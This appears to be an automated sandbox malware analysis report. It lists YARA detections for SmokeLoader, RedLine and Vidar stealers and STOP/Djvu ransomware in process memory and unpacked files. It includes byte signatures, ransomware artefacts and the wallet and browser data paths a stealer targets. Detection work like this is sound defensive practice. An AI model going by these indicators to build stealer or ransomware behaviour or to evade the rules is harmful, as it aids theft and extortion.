00000014.00000000.415949040.0000000000C90000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x34:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000003.255442832.0000000000710000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000C.00000002.550663724.0000000007290000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000C.00000002.550663724.0000000007290000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x34f22:$pat14: , CommandLine: 0x23e04:$v2_1: ListOfProcesses 0x222ba:$v4_3: base64str 0x22279:$v4_4: stringKey 0x222c4:$v4_5: BytesToStringConverted 0x222af:$v4_6: FromBase64 0x23ac1:$v4_8: procName 0x20e82:$v5_1: DownloadAndExecuteUpdate 0x20eaa:$v5_2: ITaskProcessor 0x20e70:$v5_3: CommandLineUpdate 0x20e9b:$v5_4: DownloadUpdate 0x20de4:$v5_5: FileScanning 0x21082:$v5_7: RecordHeaderField 0x20fac:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
00000019.00000000.442875397.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000D.00000002.443176510.0000000000820000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000D.00000002.443176510.0000000000820000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x7b4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000019.00000002.480385928.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000019.00000002.480385928.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000019.00000002.480385928.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000019.00000002.480385928.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000019.00000000.461705193.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000019.00000000.461705193.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000019.00000000.461705193.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000019.00000000.461705193.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001E.00000002.535910271.0000000000700000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000013.00000002.474602203.0000000002370000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000013.00000002.474602203.0000000002370000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000C.00000003.426623227.0000000002EB9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000B.00000002.505917720.0000000002231000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000B.00000002.505917720.0000000002231000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x3d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000D.00000002.443497890.0000000000851000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000D.00000002.443497890.0000000000851000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x3b4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000011.00000002.469185788.0000000004FF0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Crypt	Yara detected CryptOne packer	Joe Security
00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000E.00000000.428974978.00000000008C9000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4d53:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000001.00000000.345197591.0000000004E61000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000001.00000000.345197591.0000000004E61000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x3d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000B.00000002.504609430.0000000000710000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
Process Memory Space: 37F1.exe PID: 1760	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 5487.exe PID: 1272	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 5487.exe PID: 1272	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 5487.exe PID: 1272	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x12eb:$a1: BinanceChainWallet 0x2c5a:$a2: wallet.dat 0x2c67:$a2: wallet.dat 0x12d1a5:$a3: SOFTWARE\monero-project\monero-core 0x12d1c9:$a3: SOFTWARE\monero-project\monero-core 0x407ad:$b1: CC\%s_%s.txt 0x7dc7a:$b1: CC\%s_%s.txt 0x12102f:$b1: CC\%s_%s.txt 0x407ec:$b2: History\%s_%s.txt 0x7dcb9:$b2: History\%s_%s.txt 0x12106e:$b2: History\%s_%s.txt 0x407d8:$b3: Autofill\%s_%s.txt 0x4118b:$b3: Autofill\%s_%s.txt 0x411cb:$b3: Autofill\%s_%s.txt 0x7dca5:$b3: Autofill\%s_%s.txt 0x7e658:$b3: Autofill\%s_%s.txt 0x7e698:$b3: Autofill\%s_%s.txt 0x12105a:$b3: Autofill\%s_%s.txt 0x121a0d:$b3: Autofill\%s_%s.txt 0x121a4d:$b3: Autofill\%s_%s.txt
Process Memory Space: 5999.exe PID: 1244	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 5999.exe PID: 1244	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x46944:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 5999.exe PID: 4888	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 5999.exe PID: 4888	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x397b9:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0x733c6:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xa6856:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 92 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
11.3.uucbfdt.720000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.file.exe.700e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
30.0.gecbfdt.700e67.2.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
11.2.uucbfdt.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
12.2.37F1.exe.4a8b076.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.37F1.exe.4a8b076.2.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x33122:$pat14: , CommandLine: 0x22004:$v2_1: ListOfProcesses 0x204ba:$v4_3: base64str 0x20479:$v4_4: stringKey 0x204c4:$v4_5: BytesToStringConverted 0x204af:$v4_6: FromBase64 0x21cc1:$v4_8: procName 0x1f082:$v5_1: DownloadAndExecuteUpdate 0x1f0aa:$v5_2: ITaskProcessor 0x1f070:$v5_3: CommandLineUpdate 0x1f09b:$v5_4: DownloadUpdate 0x1efe4:$v5_5: FileScanning 0x1f282:$v5_7: RecordHeaderField 0x1f1ac:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
30.2.gecbfdt.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
13.2.405E.exe.810e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
12.2.37F1.exe.7290000.9.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.37F1.exe.7290000.9.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x34f22:$pat14: , CommandLine: 0x23e04:$v2_1: ListOfProcesses 0x222ba:$v4_3: base64str 0x22279:$v4_4: stringKey 0x222c4:$v4_5: BytesToStringConverted 0x222af:$v4_6: FromBase64 0x23ac1:$v4_8: procName 0x20e82:$v5_1: DownloadAndExecuteUpdate 0x20eaa:$v5_2: ITaskProcessor 0x20e70:$v5_3: CommandLineUpdate 0x20e9b:$v5_4: DownloadUpdate 0x20de4:$v5_5: FileScanning 0x21082:$v5_7: RecordHeaderField 0x20fac:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
30.2.gecbfdt.700e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
12.2.37F1.exe.7290000.9.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.37F1.exe.7290000.9.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x33122:$pat14: , CommandLine: 0x22004:$v2_1: ListOfProcesses 0x204ba:$v4_3: base64str 0x20479:$v4_4: stringKey 0x204c4:$v4_5: BytesToStringConverted 0x204af:$v4_6: FromBase64 0x21cc1:$v4_8: procName 0x1f082:$v5_1: DownloadAndExecuteUpdate 0x1f0aa:$v5_2: ITaskProcessor 0x1f070:$v5_3: CommandLineUpdate 0x1f09b:$v5_4: DownloadUpdate 0x1efe4:$v5_5: FileScanning 0x1f282:$v5_7: RecordHeaderField 0x1f1ac:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
30.0.gecbfdt.400000.3.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
12.2.37F1.exe.4b70ee8.4.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.37F1.exe.4b70ee8.4.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x34f22:$pat14: , CommandLine: 0x23e04:$v2_1: ListOfProcesses 0x222ba:$v4_3: base64str 0x22279:$v4_4: stringKey 0x222c4:$v4_5: BytesToStringConverted 0x222af:$v4_6: FromBase64 0x23ac1:$v4_8: procName 0x20e82:$v5_1: DownloadAndExecuteUpdate 0x20eaa:$v5_2: ITaskProcessor 0x20e70:$v5_3: CommandLineUpdate 0x20e9b:$v5_4: DownloadUpdate 0x20de4:$v5_5: FileScanning 0x21082:$v5_7: RecordHeaderField 0x20fac:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
0.3.file.exe.710000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
25.0.5999.exe.400000.9.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
25.0.5999.exe.400000.9.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
25.0.5999.exe.400000.9.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
25.0.5999.exe.400000.9.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.37F1.exe.5f55530.7.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.37F1.exe.5f55530.7.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x3400a:$pat14: , CommandLine: 0x22eec:$v2_1: ListOfProcesses 0x213a2:$v4_3: base64str 0x21361:$v4_4: stringKey 0x213ac:$v4_5: BytesToStringConverted 0x21397:$v4_6: FromBase64 0x22ba9:$v4_8: procName 0x1ff6a:$v5_1: DownloadAndExecuteUpdate 0x1ff92:$v5_2: ITaskProcessor 0x1ff58:$v5_3: CommandLineUpdate 0x1ff83:$v5_4: DownloadUpdate 0x1fecc:$v5_5: FileScanning 0x2016a:$v5_7: RecordHeaderField 0x20094:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
12.2.37F1.exe.5f56418.8.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.37F1.exe.5f56418.8.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x34f22:$pat14: , CommandLine: 0x6ba5a:$pat14: , CommandLine: 0x23e04:$v2_1: ListOfProcesses 0x5a93c:$v2_1: ListOfProcesses 0x222ba:$v4_3: base64str 0x58df2:$v4_3: base64str 0x22279:$v4_4: stringKey 0x58db1:$v4_4: stringKey 0x222c4:$v4_5: BytesToStringConverted 0x58dfc:$v4_5: BytesToStringConverted 0x222af:$v4_6: FromBase64 0x58de7:$v4_6: FromBase64 0x23ac1:$v4_8: procName 0x5a5f9:$v4_8: procName 0x20e82:$v5_1: DownloadAndExecuteUpdate 0x579ba:$v5_1: DownloadAndExecuteUpdate 0x20eaa:$v5_2: ITaskProcessor 0x579e2:$v5_2: ITaskProcessor 0x20e70:$v5_3: CommandLineUpdate 0x579a8:$v5_3: CommandLineUpdate 0x20e9b:$v5_4: DownloadUpdate
12.2.37F1.exe.4a8a18e.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.37F1.exe.4a8a18e.3.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x35e0a:$pat14: , CommandLine: 0x24cec:$v2_1: ListOfProcesses 0x231a2:$v4_3: base64str 0x23161:$v4_4: stringKey 0x231ac:$v4_5: BytesToStringConverted 0x23197:$v4_6: FromBase64 0x249a9:$v4_8: procName 0x21d6a:$v5_1: DownloadAndExecuteUpdate 0x21d92:$v5_2: ITaskProcessor 0x21d58:$v5_3: CommandLineUpdate 0x21d83:$v5_4: DownloadUpdate 0x21ccc:$v5_5: FileScanning 0x21f6a:$v5_7: RecordHeaderField 0x21e94:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
30.0.gecbfdt.400000.1.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
12.2.37F1.exe.5f56418.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.37F1.exe.5f56418.8.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x33122:$pat14: , CommandLine: 0x22004:$v2_1: ListOfProcesses 0x204ba:$v4_3: base64str 0x20479:$v4_4: stringKey 0x204c4:$v4_5: BytesToStringConverted 0x204af:$v4_6: FromBase64 0x21cc1:$v4_8: procName 0x1f082:$v5_1: DownloadAndExecuteUpdate 0x1f0aa:$v5_2: ITaskProcessor 0x1f070:$v5_3: CommandLineUpdate 0x1f09b:$v5_4: DownloadUpdate 0x1efe4:$v5_5: FileScanning 0x1f282:$v5_7: RecordHeaderField 0x1f1ac:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
12.3.37F1.exe.2eb9e80.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.3.37F1.exe.2eb9e80.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x33122:$pat14: , CommandLine: 0x22004:$v2_1: ListOfProcesses 0x204ba:$v4_3: base64str 0x20479:$v4_4: stringKey 0x204c4:$v4_5: BytesToStringConverted 0x204af:$v4_6: FromBase64 0x21cc1:$v4_8: procName 0x1f082:$v5_1: DownloadAndExecuteUpdate 0x1f0aa:$v5_2: ITaskProcessor 0x1f070:$v5_3: CommandLineUpdate 0x1f09b:$v5_4: DownloadUpdate 0x1efe4:$v5_5: FileScanning 0x1f282:$v5_7: RecordHeaderField 0x1f1ac:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
25.0.5999.exe.400000.8.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
25.0.5999.exe.400000.8.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
25.0.5999.exe.400000.8.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
25.0.5999.exe.400000.8.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
0.2.file.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
12.2.37F1.exe.48d0e67.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.37F1.exe.48d0e67.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 A7 88 44 24 2B 88 44 24 2F B0 D7 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
12.2.37F1.exe.5f8cf50.6.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.37F1.exe.5f8cf50.6.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x34f22:$pat14: , CommandLine: 0x23e04:$v2_1: ListOfProcesses 0x222ba:$v4_3: base64str 0x22279:$v4_4: stringKey 0x222c4:$v4_5: BytesToStringConverted 0x222af:$v4_6: FromBase64 0x23ac1:$v4_8: procName 0x20e82:$v5_1: DownloadAndExecuteUpdate 0x20eaa:$v5_2: ITaskProcessor 0x20e70:$v5_3: CommandLineUpdate 0x20e9b:$v5_4: DownloadUpdate 0x20de4:$v5_5: FileScanning 0x21082:$v5_7: RecordHeaderField 0x20fac:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
12.3.37F1.exe.4910000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.3.37F1.exe.4910000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 A7 88 44 24 2B 88 44 24 2F B0 D7 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
